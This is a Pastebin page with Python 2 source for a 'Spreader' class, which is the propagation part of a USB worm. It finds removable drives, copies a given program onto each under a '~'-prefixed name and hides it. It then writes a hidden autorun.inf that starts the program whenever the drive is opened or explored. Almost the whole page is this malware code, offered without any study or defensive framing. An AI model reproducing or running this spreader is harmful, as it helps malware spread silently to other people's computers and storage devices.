Guest User

Usb

a guest
Apr 13th, 2015
294
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.67 KB | None | 0 0
  1. import win32api
  2. import win32con
  3. import win32file
  4. import sys
  5. import os
  6.  
  7. class Spreader(object):
  8.     def __init__(self, path):    # path must be absolute
  9.       print " [*] Checking information"
  10.  
  11.       self.filename = path.split("\\")[-1]
  12.       self.driveFilename = self.filename
  13.  
  14.       if not self.driveFilename.startswith("~"):
  15.       self.driveFilename = "~" + self.driveFilename
  16.  
  17.       print "\t- Local filename: " + self.filename
  18.       print "\t- Driver filename: " + self.driveFilename
  19.  
  20.       self.path = "\\".join(path.split("\\")[:-1]) + "\\" + self.filename
  21.  
  22.       print "\t- Full path: " + self.path
  23.  
  24.       print "\n [*] Getting removable drives"
  25.       self.drives = self.__getRemovableDrives()
  26.  
  27.       if len(self.drives) == None:
  28.       print " [-] No removable drives available"
  29.       sys.exit()
  30.  
  31.       for drive in self.drives:
  32.       print "\t- " + drive
  33.  
  34.       print "\n [*] Spreading"
  35.       self.__spread()
  36.  
  37.       print "\n [+] Successfully spread"
  38.  
  39.     def __getRemovableDrives(self):
  40.       removableDrives = []
  41.       drives = win32api.GetLogicalDriveStrings().split("\000")[:-1]
  42.  
  43.       for drive in drives:
  44.       driveType = win32file.GetDriveType(drive)
  45.  
  46.       if driveType == win32file.DRIVE_REMOVABLE:
  47.             removableDrives.append(drive)
  48.  
  49.       return removableDrives
  50.  
  51.     def __spread(self):
  52.       for drive in self.drives:
  53.  
  54.       if drive == "A:\\":
  55.             continue
  56.  
  57.       else:
  58.  
  59.             driveFile = drive + self.driveFilename
  60.             driveAutorun = drive + "autorun.inf"
  61.  
  62.             print " [+] " + drive
  63.  
  64.             if not os.path.exists(driveFile):
  65.             self.__copyFile(driveFile)
  66.  
  67.             if not os.path.exists(driveAutorun):
  68.             self.__createAutorun(driveAutorun)
  69.  
  70.     def __copyFile(self, driveFile):
  71.       print "\t- Copying file: " + self.driveFilename,
  72.       win32file.CopyFile(self.path, driveFile, 0)
  73.       print "\t\t\tDONE"
  74.  
  75.       print "\t- Hidding file",
  76.       win32api.SetFileAttributes(driveFile,\
  77.              win32con.FILE_ATTRIBUTE_HIDDEN)
  78.       print "\t\t\tDONE"
  79.  
  80.     def __createAutorun(self, driveAutorun):
  81.       print "\t- Creating autorun.inf",
  82.       autorun = open(driveAutorun, "w")
  83.       content = """[Autorun]
  84. open={0}
  85. icon={0}
  86. label=Python Spreader
  87. UseAutoPlay=1
  88. action=Start my App
  89. action=@{0}
  90. shell\open=Open
  91. shell\open\Command={0}
  92. shell\explore=explore
  93. shell\explore\command={0}""".format(self.driveFilename)
  94.       autorun.write(content)
  95.       autorun.close()
  96.       print "\t\t\tDONE"
  97.  
  98.       print "\t- Hidding autorun",
  99.       win32api.SetFileAttributes(driveAutorun,\
  100.              win32con.FILE_ATTRIBUTE_HIDDEN)
  101.       print "\t\t\tDONE"
Advertisement
Add Comment
Please, Sign In to add comment